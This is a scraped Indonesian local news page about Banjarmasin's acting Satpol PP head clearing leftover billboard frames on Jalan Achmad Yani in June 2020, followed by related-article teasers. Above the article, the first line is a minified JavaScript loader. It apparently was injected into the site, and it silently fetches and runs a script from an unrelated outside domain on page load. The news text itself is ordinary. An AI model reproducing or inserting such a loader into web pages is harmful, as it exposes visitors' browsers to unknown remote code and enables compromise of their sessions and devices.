(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah ditunjuk dan diberikan instruksi oleh Wali Kota Banjarmasin H Ibnu Sina, Plt Kasatpol PP Kota Banjarmasin yang baru, Faturrahim langsung bergerak membersihkan sisa material bongkaran papan reklame di beberapa titik sisi Jalan Achmad Yani, Kota Banjarmasin, Jumat (26/6/2020) sore.
Menurut Faturrahim, keputusan mengevakuasi potongan rangka besi dan papan reklame bando tersebut merupakan tindak lanjut saat ia menerima Surat Keputusan (SK) sebagai orang nomor satu di instansi penegakan Peraturan Daerah (Perda) tersebut. “Kita telah mendapat penugasan langsung dari Pak Wali untuk membersihan sisa bongkaran papan reklame bando ini,” kata Faturrahim.
Dengan adanya mandat dari Wali Kota tersebut, ia langsung menggerakkan puluhan anggotanya untuk mengangkut sisa bongkaran material bongkaran papan reklame bando. Pengangkutan sisa material papan reklame ini dilakukan demi keselamatan warga yang melintas di sepanjang Jalan Achmad Yani.
Disamping itu, ia mengaku sedikit kesulitan dalam merapikan sisa rangka papan reklame bando di sepanjang jalan A Yani Banjarmasin tersebut yang ditargetkan agar bisa diselesaikan secepat mungkin. Sehingga, sisa rangka papan reklame bando yang masih bergelantung di atas pun menjadi perhatian untuk dibersihkan.
“Karena keterbatasan peralatan dan angkutan juga meminjam armada milik DLH (Dinas Lingkungan Hidup) Kota Banjarmasin. Tapi yang jelas semampu kami yang penting bersih secepatnya,” ujarnya.
Tumpukan rangka besi tersebut, ia melanjutkan, akan diamankan oleh anggotanya di kantor Satpol PP Banjarmasin, tepatnya di Jalan KS Tubun, Kecamatan Banjarmasin Selatan.Ia mengaku sudah berkoordinasi dengan Polda Kalsel yang juga memdampingi kita dalam merapikan sisa bongkaran papan reklame ini.
“Bekas bongkaran ini kita juga kordinasi kepada pihak pemiliknya bahwa akan diletakkan di halaman kantor Satpol PP Kota Banjarmasin,” pungkas Faturrahim. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.